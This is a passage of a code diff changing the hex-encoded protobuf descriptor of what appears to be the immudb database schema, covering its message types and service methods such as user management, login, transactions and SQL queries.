0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, + 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, + 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, + 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, + 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, + 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, + 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, + 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, + 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, + 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, + 0x6f, 0x64, 0x65, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, + 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, + 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, + 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, + 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, + 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, + 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, + 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, + 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, + 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, + 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, + 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, + 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, + 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, + 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, + 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, + 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, + 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, + 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, + 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, + 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, - 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, - 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, - 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, - 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, - 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, - 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, + 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, + 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, + 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, + 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, + 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, - 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, - 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, + 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, - 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, - 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, - 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, - 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, - 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, - 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 